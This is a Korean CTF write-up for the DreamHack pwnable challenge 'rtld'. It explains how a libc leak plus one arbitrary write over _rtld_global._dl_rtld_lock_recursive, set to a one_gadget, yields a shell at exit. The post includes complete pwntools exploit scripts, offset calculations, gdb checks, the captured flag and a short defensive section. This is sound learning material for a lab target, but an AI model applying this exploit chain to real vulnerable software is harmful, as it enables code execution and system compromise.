문제: DreamHack — rtld 분류: pwnable 난이도: 🥉 Bronze 2 FLAG:
DH{e8992639751efccc8aed4a007c3b50542f352cb7b564418c1db1edbc5a87c4f0}
미해결 목록에 며칠째 걸려 있던 문제다. 소스는 40줄도 안 되는데, 표준 pwn 기법을 순서대로 다 넣어봐도 하나씩 다 막혔다. 결국 이 문제를 푸는 열쇠는 이름 그 자체 — rtld, 즉 런타임 로더(ld.so) 였다.
주어진 것: 쓰기 한 번, 리크 하나
소스 전체가 이게 전부다.
// gcc -o rtld rtld.c -fPIC -pie
void get_shell() { system("/bin/sh"); }
int main() {
long addr;
long value;
initialize();
printf("stdout: %p\n", stdout); // libc 주소 리크 (딱 하나)
printf("addr: ");
scanf("%ld", &addr);
printf("value: ");
scanf("%ld", &value);
*(long *)addr = value; // 임의 주소에 8바이트 쓰기 (딱 한 번)
return 0;
}정리하면 손에 쥔 카드는 두 장이다.
- 리크:
printf("stdout: %p")—stdout은 libc 안_IO_2_1_stdout_를 가리키므로 libc base 를 정확히 알 수 있다. - 쓰기:
*(long*)addr = value— 원하는 주소에 원하는 8바이트를 딱 한 번 쓴다. 버퍼 오버플로우가 아니라 순수한 write-what-where 다.
get_shell() 이 친절하게 들어있지만, 함정이다. 바이너리는 PIE 라 실행 파일의 로드 주소가 매 실행마다 랜덤이고, 우리가 가진 리크는 libc 뿐이다. get_shell 의 실제 주소를 모르니 어디에 써넣을 수도, 어디로 점프시킬 수도 없다.

보호기법은 평범하다. Canary 가 있으니 스택을 밀어 리턴 주소를 덮는 접근은 불가능하고, PIE 라 바이너리 내부 주소(GOT 포함)는 리크 없이는 손댈 수 없다. 그러니 "libc 안에서, 프로그램이 알아서 호출해 주는 함수 포인터" 를 딱 하나 골라 덮는 그림밖에 안 나온다.
삽질: 표준 후보들이 하나씩 막히다
libc 리크 + 단발 쓰기 조합에서 제일 먼저 떠오르는 표적들을 순서대로 시도했다. 결론부터 말하면 흔한 4개가 전부 막혔고, 그 과정이 오히려 정답의 힌트가 됐다.
막힌 표준 기법 4가지 — 왜 안 되는지 (클릭)
① __malloc_hook / __free_hook
제일 고전적인 표적이다. 하지만 이 프로그램은 malloc 도 free 도 한 번도 호출하지 않는다. 실제로 libc 의 malloc/free 진입점에 브레이크포인트를 걸고 프로그램을 끝까지 돌려도 단 한 번도 걸리지 않았다. 훅을 덮어봤자 트리거될 일이 없다.
② stdout FSOP (_IO_2_1_stdout_ vtable hijack)
exit() 은 종료 직전 _IO_cleanup → _IO_flush_all_lockp 로 열린 FILE 들을 flush 하면서 _IO_OVERFLOW(vtable) 를 호출한다. 여기를 위조하는 게 FSOP 인데 — 이 바이너리는 initialize() 에서 setvbuf(stdout, NULL, _IONBF, 0) 로 버퍼링을 꺼 둔다. 출력이 매번 즉시 flush 돼서 종료 시점엔 flush 할 잔여 데이터가 없고, 그래서 vtable 이 dereference 되지 않는다. _IO_2_1_stdout_ 의 vtable 필드를 통째로 0x41414141… 로 덮어도 종료 시 크래시조차 안 났다.
③ atexit / __cxa_finalize 핸들러 체인
exit() → __run_exit_handlers 는 등록된 소멸자 함수 포인터를 하나씩 호출한다. 여기를 덮으면 될 것 같지만, glibc 는 이 포인터들을 PTR_MANGLE 로 보호한다.
ror rdx, 0x11
xor rdx, fs:[0x30] ; pointer_guard (프로세스별 랜덤 시크릿)
call rdxfs:0x30 에 있는 pointer_guard 는 프로세스마다 랜덤이라, 리크가 stdout 하나뿐인 이 문제에선 알아낼 방법이 없다. 위조된 포인터를 써넣어도 언맹글 과정에서 엉뚱한 값이 되어 버린다.
④ 바이너리 PIE base 를 libc 로부터 유추
get_shell() 을 직접 쓰려면 바이너리 base 가 필요하다. libc base 와 실행 파일 base 사이에 고정 오프셋이 있는지 5회 반복해 /proc/pid/maps 를 비교했지만 — 완전히 랜덤이었다. 실행 파일 PIE 와 libc 는 서로 다른 랜덤 클러스터에 매핑된다.
여기서 중요한 관찰 하나. ③번에서 atexit 체인은 막혔지만, 그 과정에서 exit() 이 종료 시 확실히 실행하는 코드 경로 를 하나 알게 됐다. exit() 은 등록된 핸들러들을 부르는데, 그 중 하나가 로더가 등록해 둔 _dl_fini 다. _dl_fini 자체는 정상적으로(언맹글되어) 호출된다. 그렇다면 _dl_fini 안에서 부르는 포인터 중에 mangle 되지 않은 게 있다면?
핵심: _dl_fini 가 부르는 락 함수 포인터
문제 이름 rtld 는 run-time dynamic linker, 곧 ld.so 를 가리킨다. 로더는 전역 상태를 _rtld_global 이라는 거대한 구조체에 들고 있는데, 이 구조체 안에는 함수 포인터 들이 그대로(맹글 없이) 박혀 있다. 그중 하나가 재귀 락 콜백이다.
_dl_fini 는 종료 시 맨 먼저 로드 락을 잡는다.
// glibc 2.23, elf/dl-fini.c 中
__rtld_lock_lock_recursive (GL(dl_load_lock));이 매크로는 이렇게 전개된다.
#define __rtld_lock_lock_recursive(NAME) \
GL(dl_rtld_lock_recursive) (&(NAME).mutex)즉 _rtld_global._dl_rtld_lock_recursive 라는 함수 포인터를 그대로 호출 한다. 인자(rdi)는 &_dl_load_lock.mutex 다. 제공된 ld-2.23.so 를 디스어셈블하면 이 호출이 그대로 보인다.

lea rax, [rip+…] # 226040 <_rtld_global> 로 구조체 주소를 잡고, mov rax, rdi 로 인자를 넘긴 뒤, call *0x…(%rip) # 226f48 <_rtld_global+0xf08> — 오프셋 0xf08 에 있는 함수 포인터를 부른다. 이 포인터는 atexit 체인과 달리 PTR_MANGLE 로 보호되지 않는다. 평범한 raw 포인터라 임의 쓰기 한 번으로 갈아끼울 수 있다.
정리하면 그림이 이렇게 된다.

여기에 인자 제약이 없는 one_gadget(레지스터/스택 조건만 맞으면 인자 없이 execve("/bin/sh") 하는 코드 조각)을 써넣으면, 프로그램이 return 0 으로 끝나는 순간 셸이 열린다. 쓰기는 딱 한 번이면 충분하다.
표적 주소 계산: 로더는 libc 바로 위에 있다
남은 문제는 "_rtld_global 의 주소를 어떻게 아느냐" 다. 우리가 가진 건 libc 리크뿐이고 _rtld_global 은 ld.so 안에 있다. 그런데 로더는 libc 를 자기 바로 아래에 매핑하기 때문에, libc base 와 ld base 사이 간격이 고정 이다. 실제로 5번 실행해 확인했다.

ld_base − libc_base 가 매 실행 동일하다. 그러니 주소 사슬이 완성된다.

libc_base = stdout_leak - 0x3c5620 # _IO_2_1_stdout_ 오프셋
ld_base = libc_base + <libc 매핑 크기> # 로더는 libc 바로 위
_rtld_global = ld_base + 0x226040 # ld.so 심볼
target = _rtld_global + 0xf08 # _dl_rtld_lock_recursive함정: 로컬 오프셋을 그대로 원격에 쓰면 안 된다
여기서 한 번 걸려 넘어졌다. patchelf 로 제공 ld/libc 를 물려 로컬에서 재현하니 ld_base − libc_base = 0x400000 이 나왔다. 그런데 이 값을 원격에 그대로 넣으면 표적이 엉뚱한 곳을 가리켜 셸이 안 열린다.
이유는 커널의 mmap 정렬 방식 차이다. 내 로컬 커널(6.17)은 2MB 이상의 큰 매핑을 THP(투명 대용량 페이지) 경계인 2MB 단위로 정렬 한다. 그래서 libc/ld base 가 항상 …000000 꼴로 떨어지고, 둘 사이 간격도 2MB 배수(0x400000)로 벌어진다.
반면 원격 서버는 리크된 libc base 가 …8fa000 처럼 페이지 단위(0x1000)로만 정렬 돼 있었다. 실제로 셸을 딴 뒤 uname 을 찍어보니 원격은 Linux 4.19.234 — 오래된 커널이라 큰 파일 매핑을 2MB 로 정렬하지 않는다. 이 경우 로더는 libc 를 자기 바로 아래에 빈틈없이 매핑하므로, 간격은 정확히 libc 의 PT_LOAD 예약 크기 가 된다.
libc PT_LOAD: (vaddr 0, memsz 0x1bfbe8) # R E
(vaddr 0x3c07c0, memsz 0x91e0) # RW
예약 크기 = pageup(0x3c07c0 + 0x91e0) = 0x3ca000 → 원격의 ld_off- 로컬(THP 2MB 정렬 커널):
ld_off = 0x400000 - 원격(4.19 페이지 정렬 커널):
ld_off = 0x3ca000
잘못된 오프셋을 써도 실제 락 포인터(_rtld_global+0xf08)는 건드리지 않으니 프로그램은 그냥 조용히 정상 종료한다(크래시 없음). 덕분에 후보 오프셋을 안전하게 시도해볼 수 있었고, 계산값 0x3ca000 이 정확히 들어맞았다.
one_gadget 고르기
제공된 libc 의 one_gadget 후보는 세 개다.

_dl_fini 의 락 호출 시점의 스택 상태에 따라 어떤 게이트가 열릴지 갈린다. 로컬에선 0x4527a·0xf1247 둘 다 통했지만, 원격에선 [rsp+0x70] == NULL 제약을 만족하는 0xf1247 이 실제로 셸을 띄웠다.
gdb 로 원리 실측
말로만 하면 지어낸 것처럼 보이니, 로컬에서 gdb 로 한 스텝씩 확인했다. write 명령(*(long*)addr = value) 직전에 멈춰 rdx(주소)·rax(값)를 _rtld_global+0xf08 ↔ one_gadget 으로 주입하고, 그 자리의 값이 실제로 바뀌는지, 그리고 종료 시 $rip 이 정말 그 one_gadget 으로 튀는지 봤다.

화면 중간의 SIGSEGV 는 실패가 아니라 일부러 낸 것이다. 프로그램의 addr: value: 에
1, 1 을 먹여 주소 1 에 쓰게 만들면 거기서 죽는데, 그 덕에 라이브러리가 전부 매핑된 상태로
프로세스가 멈춘다. 그 시점에 info proc mappings 로 진짜 libc·ld 베이스를 읽고, 실제 덮어쓰기는
gdb 가 set *(long*)TARGET = VALUE 로 대신 한다. 오프셋을 관례로 가정하지 않고 실측하려는 것이다.
before: *(TARGET) = ld+0xc90— 원래는 로더 내부의 진짜 락 함수가 들어있다.after : *(TARGET) = one_gadget— 한 번의 쓰기로 갈아끼웠다.exit후$rip == one_gadget— 종료 경로가 정확히 우리가 심은 주소를 호출한다.
원래 값이 ld+0xc90 인 것도 앞의 objdump 와 맞아떨어진다(로더는 시작 시 _rtld_global+0xf08 에 자기 내부 함수 ld+0xc90 을 넣어둔다). 우리는 그걸 one_gadget 으로 바꿔치기했을 뿐이다.
익스플로잇
로컬에서 먼저 셸을 확인하고, 오프셋만 원격용으로 바꿔 그대로 쐈다.
화면에 쓴 데모 스크립트는 exp_demo.py 하나로 로컬/원격을 겸한다.
#!/usr/bin/env python3
# 로컬/원격 공통 데모: 소스는 solve.py, 여기선 화면용으로 흐름만 출력
import sys, time
from pwn import remote, process, context
context.log_level='error'
STDOUT_OFF=0x3c5620; RTLD_GLOBAL=0x226040; LOCK_OFF=0xf08
if sys.argv[1]=='remote':
io=remote('host3.dreamhack.games',10085,timeout=10); LD_OFF=0x3ca000; OG=0xf1247
where='원격(host3.dreamhack.games:10085)'
else:
io=process(['./rtld_patched']); LD_OFF=0x400000; OG=0xf1247
where='로컬(rtld_patched)'
io.recvuntil(b'stdout: '); leak=int(io.recvline().strip(),16)
libc=leak-STDOUT_OFF; target=libc+LD_OFF+RTLD_GLOBAL+LOCK_OFF; value=libc+OG
print(f'[{where}]')
print(f' stdout leak = {hex(leak)}')
print(f' libc_base = {hex(libc)}')
print(f' ld_base = {hex(libc+LD_OFF)} (libc + {hex(LD_OFF)})')
print(f' write {hex(value)}')
print(f' -> _rtld_global._dl_rtld_lock_recursive @ {hex(target)}')
io.recvuntil(b'addr: '); io.sendline(str(target).encode())
io.recvuntil(b'value: '); io.sendline(str(value).encode())
time.sleep(0.5)
io.sendline(b'echo ---shell---; id; uname -a')
if sys.argv[1]=='remote':
io.sendline(b'cat /home/rtld/flag')
time.sleep(0.8)
try:
out=io.recv(timeout=2).decode(errors='replace')
print(' '+ '\n '.join(l for l in out.splitlines() if l.strip()))
except Exception as e:
print(' (no output)', e)
io.close()cap_local.sh 는 그걸 로컬 모드로 돌리는 래퍼다.
이 글의 명령은 모두
solve/에서 실행한다.
echo '# 로컬 재현: patchelf 로 제공 ld/libc 를 물린 rtld_patched 대상'
echo
TERM=dumb python3 exp_demo.py local 2>&1 | grep -vE 'terminfo|_curses'bash cap_local.sh
원격은 ld_off 를 0x3ca000, one_gadget 을 0xf1247 로 바꾼 게 전부다.
cap_remote.sh 는 같은 스크립트를 원격 모드로 부른다.
echo '# 원격 실서버 익스: 페이지 정렬 커널(4.19) 이라 ld_off = 0x3ca000'
echo
TERM=dumb python3 exp_demo.py remote 2>&1 | grep -vE 'terminfo|_curses'bash cap_remote.sh
uid=1000(rtld) 로 셸을 얻고 /home/rtld/flag 를 읽었다.
DH{e8992639751efccc8aed4a007c3b50542f352cb7b564418c1db1edbc5a87c4f0}자체 완결 solve.py
#!/usr/bin/env python3
from pwn import remote, process, context
context.log_level = 'info'
STDOUT_OFF = 0x3c5620 # _IO_2_1_stdout_ 오프셋
RTLD_GLOBAL = 0x226040 # ld.so 내 _rtld_global
LOCK_OFF = 0xf08 # _rtld_global._dl_rtld_lock_recursive
def pwn(io, ld_off, one_gadget):
io.recvuntil(b'stdout: ')
leak = int(io.recvline().strip(), 16)
libc = leak - STDOUT_OFF
target = libc + ld_off + RTLD_GLOBAL + LOCK_OFF
value = libc + one_gadget
print(f"[*] libc base : {hex(libc)}")
print(f"[*] ld base : {hex(libc + ld_off)}")
print(f"[*] write {hex(value)} -> _rtld_global+0xf08 @ {hex(target)}")
io.recvuntil(b'addr: '); io.sendline(str(target).encode())
io.recvuntil(b'value: '); io.sendline(str(value).encode())
import sys
if len(sys.argv) > 1 and sys.argv[1] == 'remote':
io = remote('host3.dreamhack.games', 10085)
pwn(io, ld_off=0x3ca000, one_gadget=0xf1247) # 페이지 정렬 원격 (4.19)
else:
io = process(['./rtld_patched'])
pwn(io, ld_off=0x400000, one_gadget=0xf1247) # THP 2MB 정렬 로컬
io.sendline(b'cat /home/rtld/flag; id')
io.interactive()리크된 커널 정렬 방식을 모른다면, ld_off 후보 몇 개(0x3ca000 우선, 주변 페이지, 로컬값 0x400000)를 순회하며 쓰는 것도 안전하다. 틀린 오프셋은 실제 포인터를 안 건드려 그냥 정상 종료할 뿐이라, 새 연결로 다음 후보를 시도하면 된다.
방어 관점에서
이 문제의 익스는 사실 오래된 glibc(2.23)의 성질에 기댄다.
_rtld_global의 함수 포인터가 맹글되지 않음 — 종료·언로드 경로에서 호출되는 로더 콜백들이 raw 포인터라 임의 쓰기 한 번에 노출된다. 최신 glibc 는 이 표면을 조금씩 줄였지만, 근본적으로 로더의 쓰기 가능 전역 상태는 여전히 매력적인 표적이다.- 로더와 libc 의 인접 매핑이 결정적 — libc 리크 하나로 ld base 가 유도된다. Full RELRO·추가 랜덤화가 없으면 "libc 만 알면 로더도 안다" 가 성립한다.
- 애초에 임의 주소 쓰기 프리미티브 자체 가 문제의 근원이다.
scanf("%ld", &addr)로 받은 값을 검증 없이*(long*)addr에 그대로 쓰는 코드는, 리크 하나만 곁들이면 이렇게 통째로 뚫린다. 사용자 입력을 포인터로 신뢰하지 않는 것 — 결국 그게 전부다.
작은 문제였지만, "종료라는 지극히 평범한 이벤트 하나도 공격 표면"이라는 걸 다시 확인했다. exit() 뒤에서 로더가 조용히 부르는 함수 포인터 하나가, 딱 한 번의 쓰기를 셸로 바꿔주었다.
Comments
댓글
댓글을 남기려면 로그인이 필요해요. (네이버 · 구글 계정)
댓글 불러오는 중…